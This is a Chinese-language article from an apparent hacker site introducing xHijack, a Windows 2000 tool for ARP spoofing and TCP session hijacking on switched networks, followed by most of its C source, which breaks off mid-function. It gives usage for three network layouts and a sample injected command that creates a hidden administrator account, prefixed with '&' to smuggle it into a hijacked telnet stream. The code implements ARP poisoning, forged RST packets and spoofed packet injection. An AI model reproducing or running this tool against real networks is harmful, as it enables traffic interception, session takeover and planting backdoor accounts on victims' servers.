再谈交换环境下的会话劫持(For windows2000)

/ns/hk/hacker/data/20020820024726.htm



再谈交换环境下的会话劫持(For windows2000)

作者:eyas


第一步是开启IP Routing的功能,修改注册表
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\IPEnableRouter为0x1,重启系统即可。
第二步是ARP欺骗,具体原理我就不说了。
第三步就是开始劫持啦。

我写了个程序xHijack可以实现第二、三步功能,使用如下:

Usage: xHijack ServerSide ClientSide

下面根据三种不同的情况分别说明如何输入参数:
<1>服务器、客户端、劫持者处于同一局域网,接在同一交换机上(或交换机级连?)。
假如服务器的IP是192.168.0.2,客户端的IP是192.168.0.3,提供如下参数给xHijack即可
c:\>xHijack 192.168.0.2 192.168.0.3
劫持前数据流程:server <--> client
劫持后数据流程:server <--> hijacker <--> client

<2>服务器、劫持者处于同一局域网,客户端处于别的网络。
假如服务器IP是202.202.202.2,服务器的网关是202.202.202.1,提供如下参数
xHijack 202.202.202.2 202.202.202.1
劫持前数据流程:server <--> gw <--> routes <--> client
劫持后数据流程:server <--> hijacker <--> gw <--> routes <--> client

<3>客户端、劫持者处于同一局域网,服务器处于别的网络。
假如客户端的IP是192.168.0.2,网关是192.168.0.1,提供如下参数
xHijack 192.168.0.1 192.168.0.2
劫持前数据流程:client <--> gw <--> routes <--> server
劫持后数据流程:client <--> hijacker <--> gw <--> routes <--> server

输入两个参数后,会提示你选择网卡,然后会提示
l <-- List all connections
r x <-- Reset the number x connection
w x <-- Watch the number x connection
h x command <-- Hijack the number x connection to execute command

list、reset、watch命令我就不解释了。
假如现在有如下连接
(1) 202.202.202.202:23 <--> 192.168.0.3:2345
我们想要劫持这个连接运行我们的命令,输入
xHijack>h 1 "&net user ey4s hijack /add & net localgroup administrators ey4s /add"
为什么命令前面要加&呢?假如客户刚发送一个字符p过去,我们不加&的话,服务器端接受到的就是
pnet user.....了,加了&后就成为p&net user.....,这样就不管前面客户输入了什么,我们的命令
都能够运行了。以上都假设服务器是windows 2000,unix下加什么字符,我不知道,我是unix白痴,呵呵。

劫持的流程如下:
<1>伪装成Server给Client发一个rst包
<2>伪装成Client给Server发了一个数据包
<3>Server回一个ACK包给client
<4>因为Cleint的连接已经给我们reset掉了,所以client回一个rst包给server

这样的话,我们只能发一个伪造的包,但我想已经足够了。
想要一直劫持那个连接也可以,如下
<1>伪装成Server给Client发一个rst包
<2>欺骗Client,告诉它Server的MAC地址AAAAAAAAAAAA
<3>伪装成Client给Server发了一个数据包
<4>Server回一个ACK包给client
<5>Client回一个rst包给Server,但Server收不到,因为Client发到AAAAAAAAAAAA了,呵呵。
<6>然后Server发给Client的包都由我们来处理,包括给Server回ACK包等等。

不过这样比较危险,在我们劫持的过程中,Client与Server的通讯始终是断开的。


刚开始看TCP/IP协议,调程序调得头昏脑涨,说明也写的乱七八糟,呵呵,程序代码也可能存在很多问题,
还请各位多多指点。

BTW:我没有空间,编译好的程序没地方放:(



参考资料
<>交换环境下的会话劫持 http://www.xfocus.net/article_view.php?id=375
<>交换网络中的嗅探和ARP欺骗 http://www.xfocus.net/article_view.php?id=377


以下是程序代码
----------------------------------------------------------------------
/*-----------------------------------------------------------------------------
File : xHijack.c
Version : 1.0
Create at : 2002/8/12
Last modifed at : 2002/8/19
Author : eyas
Email : ey4s@21cn.com
HomePage : www.ey4s.org
感谢refdom和shotgun发布的源代码,使我获益非浅。
If you modify the code, or add more functions, please email me a copy.

备注:
<>没有考虑IP头、TCP头超过20字节的情况
<>没有考虑数据包分片的情况
<>没有对截取到的TCP数据进行解码,如TELNET,虽然是明文传输,但是TCP数据里面包含了
显示格式、位置等信息,直接打印出来,显得很凌乱。但如果是IRC、SMTP、POP3等就没问
题了。

也许下一版本会修正这些问题,也许不会有下一版本了。

-----------------------------------------------------------------------------*/
#include <stdio.h>
#include <conio.h>
#include <Packet32.h>
#include <ntddndis.h>
#include <winsock2.h>
#include <iphlpapi.h>
#include <windows.h>

#pragma comment (lib, "packet")
#pragma comment (lib, "iphlpapi")
#pragma comment (lib, "ws2_32")

#define Max_Num_Adapter 10
#define Max_Num_IPAddr 5
#define EPT_IP 0x0800 /* type: IP */
#define ARP_HARDWARE 0x0001 /* Dummy type for 802.3 frames */
#define EPT_ARP 0x0806 /* type: ARP */

#define ACTION_NONE 0
#define ACTION_WATCH 1
#define ACTION_RESET 2
#define ACTION_HIJACK 3

/*以1字节对齐*/
#pragma pack(1)
typedef struct _ehhdr
{
unsigned char DestMAC[6];
unsigned char SourceMAC[6];
unsigned short EthernetType;
}EHHDR, *PEHHDR;

typedef struct _iphdr //定义IP首部
{
unsigned char h_verlen; //4位首部长度,4位IP版本号
unsigned char tos; //8位服务类型TOS
unsigned short total_len; //16位总长度(字节)
unsigned short ident; //16位标识
unsigned short frag_and_flags; //3位标志位
unsigned char ttl; //8位生存时间 TTL
unsigned char proto; //8位协议 (TCP, UDP 或其他)
unsigned short checksum; //16位IP首部校验和
unsigned int sourceIP; //32位源IP地址
unsigned int destIP; //32位目的IP地址
}IPHDR, *PIPHDR;

typedef struct _tcphdr //定义TCP首部
{
USHORT th_sport; //16位源端口
USHORT th_dport; //16位目的端口
unsigned int th_seq; //32位序列号
unsigned int th_ack; //32位确认号
unsigned char th_lenres; //4位首部长度/6位保留字
unsigned char th_flag; //6位标志位
USHORT th_win; //16位窗口大小
USHORT th_sum; //16位校验和
USHORT th_urp; //16位紧急数据偏移量
}TCPHDR, *PTCPHDR;

typedef struct _psdhdr //定义TCP pseudo header
{
unsigned long saddr;
unsigned long daddr;
char mbz;
char ptcl;
unsigned short tcpl;
}PSDHDR, *PPSDHDR;

typedef struct _arphdr
{
unsigned short HrdType;//硬件类型
unsigned short ProType;//协议类型
unsigned char HrdAddrlen;//硬件地址长度
unsigned char ProAddrLen;//协议地址长度
unsigned short op;//operation
unsigned char SourceMAC[6];/* sender hardware address */
unsigned long SourceIP;/* sender protocol address */
unsigned char DestMAC[6];/* target hardware address */
unsigned long DestIP;/* target protocol address */
}ARPHDR, *PARPHDR;

typedef struct _ArpPacket
{
EHHDR ehhdr;
ARPHDR arphdr;
}ARPPACKET, *PARPPACKET;

typedef struct _tcppacket
{
EHHDR ehhdr;
IPHDR iphdr;
TCPHDR tcphdr;
}TCPPACKET, *PTCPPACKET;

typedef struct _conninfo
{
DWORD dwServerIP;
USHORT uServerPort;
DWORD dwClientIP;
USHORT uClientPort;
DWORD ident;//标识
BOOL bActive;
struct _conninfo *Next;
}CONNINFO, *PCONNINFO;

//定义全局变量
unsigned int g_ServerSideIP,
g_ClientSideIP,
g_OwnIP[Max_Num_IPAddr],//本机IP地址列表
g_TotalIP = 0;//
unsigned char g_szOwnMAC[6];//本机MAC地址
unsigned char g_szClientSideMAC[6];
unsigned char g_szServerSideMAC[6];
char g_szTcpFlag[6] = {'F','S','R','P','A','U'};//TCP标志位
LPADAPTER g_lpAdapter;
//1 and 2 is arp spoof thread, 3 is recv packets thread, 4 is interface thread
HANDLE g_hThread[4];
char g_szCommand[128];//command to execute after hijack
DWORD g_dwAction;//action type
DWORD g_dwCtrlConn;//action 所控制连接的标识
DWORD g_ident;//节点标识,递增
PCONNINFO g_pCurrCtrlConn = NULL,//action当前所控制的连接的信息结构指针
g_pConnHead = NULL,
g_pConnLast = NULL;
char g_szSendPacketBuf[1514];
LPPACKET g_lpSendPacket;
//函数
void usage(void);
void ShowPacketMoreInfo(PTCPPACKET, USHORT, BOOL);
void ListAllConnection();//列出当前所有的连接
void ResetActionAllFlag();
USHORT checksum(USHORT *, int);
BOOL GetMACAddr(DWORD DestIP, char *pMAC);//取得目标IP的MAC地址
BOOL IsACKPacket(unsigned char);//判断是不是一个纯ack包
LPADAPTER InitAdapter();//初始化一些参数和全局变量
BOOL SendRstPacket(unsigned int, unsigned int);//伪装成server给cilent发送rst包
BOOL SendHiJackPacket(PTCPPACKET);//伪装成client给server发送我们的包
DWORD GetConnNum(char *, DWORD, DWORD *);
DWORD CtrlConnInfoLink(DWORD, USHORT, DWORD, USHORT, BOOL, BOOL);
DWORD WINAPI ArpSpoofThread(LPVOID);//进行arp欺骗的函数
DWORD WINAPI AnalysePacketsThread(LPVOID);//分析处理接收到的包
DWORD WINAPI InterfaceThread(LPVOID);//
BOOL WINAPI CtrlEvent(DWORD);



int main(int argc, char **argv)
{
struct bpf_stat stat;
int i;

usage();
if (argc != 3) return 0;
//取得参数
g_ServerSideIP = inet_addr(argv[1]);
g_ClientSideIP = inet_addr(argv[2]);
//初始化adapter & 一些全局变量
g_lpAdapter = InitAdapter();
if(!g_lpAdapter) return 0;
//get ServerSide MAC & ClientSide MAC
if(!GetMACAddr(g_ServerSideIP, g_szServerSideMAC)) return 0;
if(!GetMACAddr(g_ClientSideIP, g_szClientSideMAC)) return 0;
//create arp spoof thread
i = 1;
g_hThread[0] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0);
Sleep(500);
i = 2;
g_hThread[1] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0);
//create analyse packet thread
g_hThread[2] = CreateThread(0, 0, AnalysePacketsThread, NULL, 0, 0);
//create interface thread
g_hThread[3] = CreateThread(0, 0, InterfaceThread, NULL, 0, 0);
//set console ctrl handle
if(!SetConsoleCtrlHandler(CtrlEvent, TRUE))
{
printf("SetConsoleCtrlHandler error:%d\n", GetLastError());
return 0;
}
//wait for any thread exit
WaitForMultipleObjects(4, g_hThread, FALSE, INFINITE);
//print the capture statistics
if(PacketGetStats(g_lpAdapter, &stat) == FALSE)
printf("Warning: unable to get stats from the kernel!\n");
else
printf("\n\n%d packets received.\n%d Packets lost\n",stat.bs_recv,stat.bs_drop);
//free resource
PacketFreePacket(g_lpSendPacket);
PacketCloseAdapter(g_lpAdapter);
return 0;
}

//
//功能:重置所有于ACTION有关的标志
//
void ResetActionAllFlag()
{
g_dwCtrlConn = 0;
g_pCurrCtrlConn = NULL;
g_dwAction = ACTION_NONE;
}

//
//功能:处理Ctrl+C和Ctrl+Break事件
//
BOOL WINAPI CtrlEvent(DWORD dwCtrlType)
{
switch(dwCtrlType)
{
case CTRL_BREAK_EVENT:
//reset action all flag
ResetActionAllFlag();
break;
case CTRL_C_EVENT:
//terminate all thread
TerminateThread(g_hThread[0], 0);
TerminateThread(g_hThread[1], 0);
TerminateThread(g_hThread[2], 0);
TerminateThread(g_hThread[3], 0);
break;
default:
break;
}
return TRUE;
}

//
//功能:处理用户输入
//
DWORD GetConnNum(char *szStr, DWORD dwLen, DWORD *lpCommandPos)
{
DWORD i;
char szBuff[16];

*lpCommandPos = 0;
for(i=0; i<15, i<dwLen; i++)
{
if(szStr[i] == 0x20)
{
*lpCommandPos = i;
break;
}
else
szBuff[i] = szStr[i];
}
szBuff[i] = 0x0;
return atoi(szBuff);
}

//
//功能:取得用户输入
//这部分代码比较乱
//
DWORD WINAPI InterfaceThread(LPVOID lp)
{
char szHelp[] = "l\t\t<-- List all connections\n"
"r x\t\t<-- Reset the number x connection\n"
"w x\t\t<-- Watch the number x connection\n"
"h x command\t<-- Hijack the number x connection to execute command\n"
"[Note]\n"
"Ctrl+Break to clear all action\n"
"Ctrl+C to exit\n";
char szPrompt[] = "\nxHijack>";
char szBuffer[128];
DWORD dwPos;
PCONNINFO pTmp;

while(1)
{
gets(szBuffer);//不考虑buffer overflow
switch(szBuffer[0])
{
case 'l':
case 'L':
ListAllConnection();
break;
case 'r':
case 'R':
if(strlen(szBuffer) >2)
{
g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos);
g_dwAction = ACTION_RESET;
}
else printf("%s", szHelp);
break;
case 'w':
case 'W':
if(strlen(szBuffer) > 2)
{
g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos);
g_dwAction = ACTION_WATCH;
}
else printf("%s", szHelp);
break;
case 'h':
case 'H'://h 1 xxx
if(strlen(szBuffer) > 5)
{
g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos);
//如果command第一个字符是'或"
if( (szBuffer[2+dwPos+1] == '\'') || (szBuffer[2+dwPos+1] == '\"') )
{
strncpy(g_szCommand, &szBuffer[2+dwPos+1+1], sizeof(g_szCommand) - 3);
g_szCommand[strlen(g_szCommand) - 1] = 0x0;//去掉最后一个'或"
}
else strncpy(g_szCommand, &szBuffer[2+dwPos+1], sizeof(g_szCommand) - 3);
strcat(g_szCommand, "\x0D\x0A");
g_dwAction = ACTION_HIJACK;
}
else printf("%s", szHelp);
break;
default:
printf("%s", szHelp);
break;
}//end of switch
//find the specify ident's struct point
if( (g_dwCtrlConn) && (g_dwAction) )
{
g_pCurrCtrlConn = NULL;
pTmp = g_pConnHead;
while(pTmp)
{
if((pTmp->ident == g_dwCtrlConn) && (pTmp->bActive) )
{
g_pCurrCtrlConn = pTmp;
break;
}
pTmp = pTmp->Next;
}
if(!g_pCurrCtrlConn)
{
printf("Can't find the number %d connection.\n", g_dwCtrlConn);
//reset action all flag
ResetActionAllFlag();
}
}
if(!g_dwCtrlConn) ResetActionAllFlag();
//显示当前用户所期望的动作
printf("\nCurrentAction:");
switch(g_dwAction)
{
case ACTION_WATCH:
printf("ACTION_WATCH");
break;
case ACTION_RESET:
printf("ACTION_RESET");
break;
case ACTION_HIJACK:
printf("ACTION_HIJACK");
break;
default:
printf("ACTION_NONE");
break;
}
printf("\tCurrentCtrlConn:%d%s", g_dwCtrlConn, szPrompt);
}//enf of while
return 0;
}

//
//功能:列出当前所有连接
//
void ListAllConnection()
{
PCONNINFO pTmp;
SOCKADDR_IN saDest, saSource;
pTmp = g_pConnHead;
while(pTmp)
{
if(pTmp->bActive)
{
saSource.sin_addr.s_addr = pTmp->dwServerIP;
saDest.sin_addr.s_addr = pTmp->dwClientIP;
printf("(%d) %s:%d <--> ", pTmp->ident, inet_ntoa(saSource.sin_addr),
ntohs(pTmp->uServerPort));
printf("%s:%d\n", inet_ntoa(saDest.sin_addr), ntohs(pTmp->uClientPort));
}
pTmp = pTmp->Next;
}
}

//
//功能:初始化一些数据,取得指定网卡的MAC地址和所有IP地址
//
LPADAPTER InitAdapter()
{
LPADAPTER lpAdapter;
static char AdapterList[Max_Num_Adapter][1024];
char szSelectAdapterName[512];
WCHAR AdapterName[2048];
WCHAR *temp,*temp1;
ULONG AdapterLength = 1024;
int iAdapterNum = 0;
int iRetCode, i;
int iAdapter = 0;
ULONG ulLen = 0;
DWORD dwRet;
PIP_ADAPTER_INFO pAdapterInfo = NULL, pTmp;
PIP_ADDR_STRING pIPAddr;

//Get The list of Adapter
if(PacketGetAdapterNames((char*)AdapterName, &AdapterLength) == FALSE)
{
printf("Unable to retrieve the list of the adapters!\n");
return 0;
}
temp = temp1 = AdapterName;
i = 0;
while ((*temp != '\0')||(*(temp-1) != '\0'))
{
if (*temp == '\0')
{
memcpy(AdapterList[i],temp1,(temp-temp1)*2);
printf("%d - %S\n", i+1, AdapterList[i]);
temp1=temp+1;
i++;
}
temp++;
}
//choose adapter
while((iAdapter <= 0) || (iAdapter > i))
{
printf("\nPlease choose your Adapter:");
scanf("%1d", &iAdapter);
}
printf("\n");
//---------------------------------------------//
//这里调用iphlpapi来取得本地ip_addr和mac_addr
sprintf(szSelectAdapterName, "%S", AdapterList[iAdapter -1], sizeof(szSelectAdapterName)-1);
dwRet = GetAdaptersInfo(pAdapterInfo, &ulLen);
if(dwRet != ERROR_BUFFER_OVERFLOW)
{
printf("GetAdapterInfo error:%d\n", GetLastError());
return 0;
}
pAdapterInfo = (PIP_ADAPTER_INFO)malloc(ulLen);
if(!pAdapterInfo)
{
printf("malloc memory for pAdapterInfo error:%d\n", GetLastError());
return 0;
}
dwRet = GetAdaptersInfo(pAdapterInfo, &ulLen);
if(dwRet != ERROR_SUCCESS)
{
printf("GetAdapterInfo error:%d\n", GetLastError());
return 0;
}
pTmp = pAdapterInfo;
while(pTmp)
{
//字符匹配
if(strstr(szSelectAdapterName, pTmp->AdapterName))
{
//found it,get own adapter mac address
memcpy(g_szOwnMAC, pTmp->Address, 6);
//get ip address
pIPAddr = &pTmp->IpAddressList;
while(pIPAddr)
{
g_OwnIP[g_TotalIP++] = inet_addr((char *)&pIPAddr->IpAddress);
pIPAddr = pIPAddr->Next;
if(g_TotalIP >= Max_Num_IPAddr) break;
}
break;
}
pTmp = pTmp->Next;
}
free(pAdapterInfo);
//not found,return zero
if( (!pTmp) || (!g_TotalIP) ) return 0;
//---------------------------------------------//
//open adapter
lpAdapter = (LPADAPTER) PacketOpenAdapter((LPTSTR) AdapterList[iAdapter - 1]);
if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE))
{
iRetCode = GetLastError();
printf("Unable to open the driver, Error Code : %lx\n", iRetCode);
return 0;
}
// set the network adapter in promiscuous mod
if(PacketSetHwFilter(lpAdapter, NDIS_PACKET_TYPE_PROMISCUOUS) == FALSE)
{
printf("Warning: unable to set promiscuous mode!Try set ALL_LOCAL mode!\n");
if(PacketSetHwFilter(lpAdapter, NDIS_PACKET_TYPE_ALL_LOCAL) == FALSE)
{
printf("Unable to set ALL_LOCAL mode!\n");
return 0;
}
}
// set a 512K buffer in the driver
if(PacketSetBuff(lpAdapter, 512000) == FALSE)
{
printf("Unable to set the kernel buffer!\n");
return 0;
}
// set a 1 second read timeout
if(PacketSetReadTimeout(lpAdapter, 1000) == FALSE)
printf("Warning: unable to set the read tiemout!\n");
if(PacketSetNumWrites(lpAdapter, 1) == FALSE)
printf("warning: Unable to send more than one packet in a single write!\n");
//设置发送的packet
g_lpSendPacket = PacketAllocatePacket();
if(g_lpSendPacket == NULL)
{
printf("Error:failed to allocate the LPPACKET structure for send packet.\n");
return 0;
}
ZeroMemory(g_szSendPacketBuf, sizeof(g_szSendPacketBuf));
PacketInitPacket(g_lpSendPacket, g_szSendPacketBuf, 1514);
return lpAdapter;
}

//功能:帮助信息
void usage()
{
printf( "xHijack v1.0 -- multipurpose connection intruder / sniffer for windows 2000\n"
"By eyas<ey4s@21cn.com> 2002/8/19\n"
"http://www.ey4s.org\n"
"Thanks to Refd0m and shotgun\n\n"
"Usage: xHijack ServerSide ClientSide\n\n");
}

//
//功能:显示数据包的一些详细信息
//
VOID ShowPacketMoreInfo(PTCPPACKET pTCPPacket, USHORT usDataLen, BOOL bDetail)
{
SOCKADDR_IN saDest, saSrc;
unsigned char FlagMask;
int i;

saDest.sin_addr.s_addr = pTCPPacket->iphdr.destIP;
saSrc.sin_addr.s_addr = pTCPPacket->iphdr.sourceIP;
printf("\n%-15s:%-5d -> ", inet_ntoa(saSrc.sin_addr), ntohs(pTCPPacket->tcphdr.th_sport));
printf("%-15s:%-5d DataLen=%d ", inet_ntoa(saDest.sin_addr),
ntohs(pTCPPacket->tcphdr.th_dport), usDataLen);
//display TCP flag
for( i=0, FlagMask=1; i<6; i++, FlagMask <<= 1)
{
if((pTCPPacket->tcphdr.th_flag) & FlagMask)
printf("%c", g_szTcpFlag[i]);
else printf("-");
}
printf("\n");
//如有需要,可显示更多详细的信息
if(bDetail)
printf("SEQ=%.8X ACK=%.8X\n",ntohl(pTCPPacket->tcphdr.th_seq), ntohl(pTCPPacket->tcphdr.th_ack));
}

//
//功能:处理收到的数据包(只分析本不属于自己的包),然后根据用户输入,完成各种功能
//
DWORD WINAPI AnalysePacketsThread(LPVOID lp)
{
ULONG ulBytesReceived;
USHORT usDataLen;
//USHORT usIPHeadLen, usTCPHeadLen;
char *buf;
u_int off, i;
PTCPPACKET pTCPPacket;
struct bpf_hdr *hdr;
LPPACKET lpRecvPacket;
char szPacketBuf[256000], *pStr;
BOOL bDeleteNode, bAddNew;
DWORD ident;//当前所处理的数据包,所属的连接的唯一标识
BOOL bClientToServer;//数据包是否从客户端发送到服务器端

//设置接收的packet
lpRecvPacket = PacketAllocatePacket();
if(lpRecvPacket == NULL)
{
printf("Error:failed to allocate the LPPACKET structure for recv.\n");
return 0;
}
ZeroMemory(szPacketBuf, sizeof(szPacketBuf));
PacketInitPacket(lpRecvPacket, szPacketBuf, 256000);
while(1)
{
// capture the packets
if(PacketReceivePacket(g_lpAdapter, lpRecvPacket, TRUE) == FALSE)
{
printf("Error: PacketReceivePacket failed.\n");
break;
}
ulBytesReceived = lpRecvPacket->ulBytesReceived;
buf = lpRecvPacket->Buffer;
off = 0;
while(off < ulBytesReceived)
{
hdr = (struct bpf_hdr *)(buf + off);
off += hdr->bh_hdrlen;
pTCPPacket = (PTCPPACKET)(buf + off);
off = Packet_WORDALIGN(off + hdr->bh_caplen);
//不需要处理自己发出的包(转发或本机发送的)
if(memcmp(pTCPPacket->ehhdr.SourceMAC, g_szOwnMAC, 6) == 0) continue;
//检查是否IP包
if(pTCPPacket->ehhdr.EthernetType != htons(EPT_IP)) continue;
//检查是否TCP包
if(pTCPPacket->iphdr.proto != IPPROTO_TCP) continue;
//也不处理DestIP是自己的包
for(i=0; i<g_TotalIP; i++)
if(pTCPPacket->iphdr.destIP == g_OwnIP[i])
break;
if(i != g_TotalIP) continue;
//暂不考虑IP、TCP头不是20字节的情况
//计算tcp数据长度,总长度减去ip头长度和tcp头长度
//usIPHeadLen = (pTCPPacket->iphdr.h_verlen & 0x0F) * sizeof(unsigned long);
//usTCPHeadLen = ((pTCPPacket->tcphdr.th_lenres >> 4) & 0x0F) * sizeof(unsigned long);
//usDataLen = ntohs(pTCPPacket->iphdr.total_len) - usIPHeadLen - usTCPHeadLen;
usDataLen = ntohs(pTCPPacket->iphdr.total_len) - 40;
//reset ctrl link flag
bDeleteNode = FALSE;
bAddNew = FALSE;
//如果收到rst或fin包,则把此连接节点信息删除
if( (pTCPPacket->tcphdr.th_flag & 0x4) ||//rst
(pTCPPacket->tcphdr.th_flag & 0x1) )//fin
bDeleteNode = TRUE;
//收到带P标志的TCP包,才创建新的节点,如果此节点还不存在的话
if(pTCPPacket->tcphdr.th_flag & 0x8 ) bAddNew = TRUE;
//server:xx --> client:xx
if( memcmp(pTCPPacket->ehhdr.SourceMAC, g_szServerSideMAC, 6) == 0)
{
//update link info
ident = CtrlConnInfoLink(pTCPPacket->iphdr.sourceIP, pTCPPacket->tcphdr.th_sport,
pTCPPacket->iphdr.destIP, pTCPPacket->tcphdr.th_dport, bDeleteNode, bAddNew);
bClientToServer = FALSE;
}
//server:xx <-- client:xx
else if( memcmp(pTCPPacket->ehhdr.SourceMAC, g_szClientSideMAC, 6) ==0)
{
//update link info
ident = CtrlConnInfoLink(pTCPPacket->iphdr.destIP, pTCPPacket->tcphdr.th_dport,
pTCPPacket->iphdr.sourceIP, pTCPPacket->tcphdr.th_sport, bDeleteNode, bAddNew);
bClientToServer = TRUE;
}
else
continue;
//检查是否想控制的那个连接的包
//捕获到一个从ClientSide -> ServerSide的纯ack包后才开始劫持
//触发劫持的条件可自行修改,我比较喜欢在客户发送一个存ACK包给SERVER后才开始劫持
if(ident == g_dwCtrlConn)
{
if( (IsACKPacket(pTCPPacket->tcphdr.th_flag)) && (bClientToServer) )
{
//reset the connection
if(g_dwAction == ACTION_RESET)
{
//send rst action,把ack包的ack做为rst包的seq,把seq作为ack
SendRstPacket(pTCPPacket->tcphdr.th_ack, pTCPPacket->tcphdr.th_seq);
//update link
ident = CtrlConnInfoLink(pTCPPacket->iphdr.destIP, pTCPPacket->tcphdr.th_dport,
pTCPPacket->iphdr.sourceIP, pTCPPacket->tcphdr.th_sport, TRUE, FALSE);
//reset action flag
ResetActionAllFlag();
}
//start hijack
else if(g_dwAction == ACTION_HIJACK)
{
//send rst packet to client
SendRstPacket(pTCPPacket->tcphdr.th_ack, pTCPPacket->tcphdr.th_seq);
//send hijack packet to client
SendHiJackPacket(pTCPPacket);
//reset action flag
ResetActionAllFlag();
}
}
//show the tcp data
if( (g_dwAction == ACTION_WATCH) && (usDataLen) )
{
ShowPacketMoreInfo(pTCPPacket, usDataLen, FALSE);
//暂不考虑IP、TCP头不是20字节的情况
//pStr = (char *)pTCPPacket + sizeof(EHHDR) + usIPHeadLen + usTCPHeadLen;
pStr = (char *)pTCPPacket + 54;
for(i=0; i<usDataLen; printf("%c", pStr[i]), i++);
}
}
//debug output
//ShowPacketMoreInfo(pTCPPacket, usDataLen, TRUE);
}//end of analyse packets while
}//end of recv packets while
PacketFreePacket(lpRecvPacket);
return 0;
}


//
//功能:操作记录所有连接信息的单向链表
//
DWORD CtrlConnInfoLink(DWORD dwServerIP, USHORT uServerPort, DWORD dwClientIP,
USHORT uClientPort, BOOL bDelete, BOOL bAddNew)
{
PCONNINFO pNew, pTmp;

pTmp = g_pConnHead;
while(pTmp)
{
if(pTmp->bActive)
{
//found it
if( (pTmp->dwServerIP == dwServerIP) &&
(pTmp->uServerPort == uServerPort) &&
(pTmp->dwClientIP == dwClientIP) &&
(pTmp->uClientPort == uClientPort) )
{
if(bDelete)
{
pTmp->bActive = FALSE;
return 0;
}
else return pTmp->ident;
}
}
pTmp = pTmp->Next;
}
//not found, create new node
if( (!pTmp) && (!bDelete) && (bAddNew) )
{
//search unactive note
pTmp = g_pConnHead;
while(pTmp)
{
if(!pTmp->bActive) break;
pTmp = pTmp->Next;
}
//found a unactive node
if(pTmp)
{
pTmp->dwServerIP = dwServerIP;
pTmp->uServerPort = uServerPort;
pTmp->dwClientIP = dwClientIP;
pTmp->uClientPort = uClientPort;
pTmp->bActive = TRUE;
return pTmp->ident;
}
//not found,create new node
pNew = (PCONNINFO)malloc(sizeof(CONNINFO));
if(!pNew)
{
printf("malloc for link node error:%d\n", GetLastError());
return 0;
}
//fill the struct
pNew->bActive = TRUE;
pNew->dwServerIP = dwServerIP;
pNew->uServerPort = uServerPort;
pNew->dwClientIP = dwClientIP;
pNew->uClientPort = uClientPort;
pNew->ident = ++g_ident;
pNew->Next = NULL;
//add new node to link
if(!g_pConnHead)
g_pConnHead = g_pConnLast = pNew;
else
{
g_pConnLast->Next = pNew;
g_pConnLast = pNew;
}
return pNew->ident;
}
return 0;
}

//
//功能:判断一个数据包是不是只有ACK标志
//
BOOL IsACKPacket(unsigned char flag)
{
int i, j=1;
for(i=0 ; i<4; i++)
{
if(flag & j) return FALSE;
j <<= 1;
}
if(!(flag & 0x10)) return FALSE;//is ack?
if(flag & 0x20) return FALSE;
return TRUE;
}

//
//功能:伪装成Client给Server发送数据包
//
BOOL SendHiJackPacket(PTCPPACKET pTempletPacket)
{

char szBuff[1520];
PSDHDR psdhdr;
PTCPPACKET pHiJackPacket = NULL;
BOOL bRet = FALSE;

__try
{
//
if(!g_pCurrCtrlConn) __leave;
//allocate memory for hijack packet
pHiJackPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET));
if(!pHiJackPacket)
{
printf("malloc error:%d\n", GetLastError());
__leave;
}
memcpy(pHiJackPacket, pTempletPacket, sizeof(TCPPACKET));
//-------------- modify the packet ---------------//
//modify ethernet head
memcpy(pHiJackPacket->ehhdr.DestMAC, g_szServerSideMAC, 6);
memcpy(pHiJackPacket->ehhdr.SourceMAC, g_szOwnMAC, 6);
//modify ip head
pHiJackPacket->iphdr.h_verlen = (4<<4 | sizeof(IPHDR)/sizeof(unsigned long));
pHiJackPacket->iphdr.total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR)+strlen(g_szCommand));
pHiJackPacket->iphdr.ident += 1;//标识加1
pHiJackPacket->iphdr.checksum = 0;
pHiJackPacket->iphdr.sourceIP = g_pCurrCtrlConn->dwClientIP;//源IP地址,伪装成client
pHiJackPacket->iphdr.destIP = g_pCurrCtrlConn->dwServerIP;//目的IP地址,接收hijack包的地址
//modify tcp head
pHiJackPacket->tcphdr.th_sport = g_pCurrCtrlConn->uClientPort;//client's port
pHiJackPacket->tcphdr.th_dport = g_pCurrCtrlConn->uServerPort;//server's port
pHiJackPacket->tcphdr.th_lenres = (sizeof(TCPHDR)/4 << 4 | 0);
pHiJackPacket->tcphdr.th_flag = 0x18;// PA
pHiJackPacket->tcphdr.th_sum = 0;
pHiJackPacket->tcphdr.th_win = 0x3F44;
//fill tcp psd head
psdhdr.saddr = pHiJackPacket->iphdr.sourceIP;
psdhdr.daddr = pHiJackPacket->iphdr.destIP;
psdhdr.mbz = 0;
psdhdr.ptcl = IPPROTO_TCP;
psdhdr.tcpl = htons(sizeof(TCPHDR) + strlen(g_szCommand));//tcp head + data len
//calculate tcp checksum
memcpy(szBuff, &psdhdr, sizeof(PSDHDR));
memcpy(szBuff + sizeof(PSDHDR), &pHiJackPacket->tcphdr, sizeof(TCPHDR));
memcpy(szBuff + sizeof(PSDHDR) + sizeof(TCPHDR), g_szCommand, strlen(g_szCommand));
pHiJackPacket->tcphdr.th_sum = checksum((USHORT *)szBuff, sizeof(PSDHDR) + sizeof(TCPHDR) + strlen(g_szCommand));
//calculate IP checksum
pHiJackPacket->iphdr.checksum = checksum((USHORT *)&pHiJackPacket->iphdr, sizeof(IPHDR));
//fill send buffer
memcpy(szBuff, (char *)pHiJackPacket, sizeof(TCPPACKET));
memcpy(szBuff + sizeof(TCPPACKET), g_szCommand, strlen(g_szCommand));
memset(szBuff + sizeof(TCPPACKET) + strlen(g_szCommand), 0, 4);
memset(g_lpSendPacket->Buffer, 0, 1514);
memcpy(g_lpSendPacket->Buffer, szBuff, sizeof(TCPPACKET) + strlen(g_szCommand));
if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE)
{
printf("Error sending the hijack packets!\n");
__leave;
}
else printf("Send hijack packet ok!\n");
bRet = TRUE;
}
__finally
{
if(pHiJackPacket) free(pHiJackPacket);
}
return bRet;
}


//
//功能:伪装成Server给Client发送rst包
//
BOOL SendRstPacket(unsigned int seq, unsigned int ack)
{
char szBuff[60];
PSDHDR psdhdr;
PTCPPACKET pTcpPacket = NULL;
BOOL bRet = FALSE;

__try
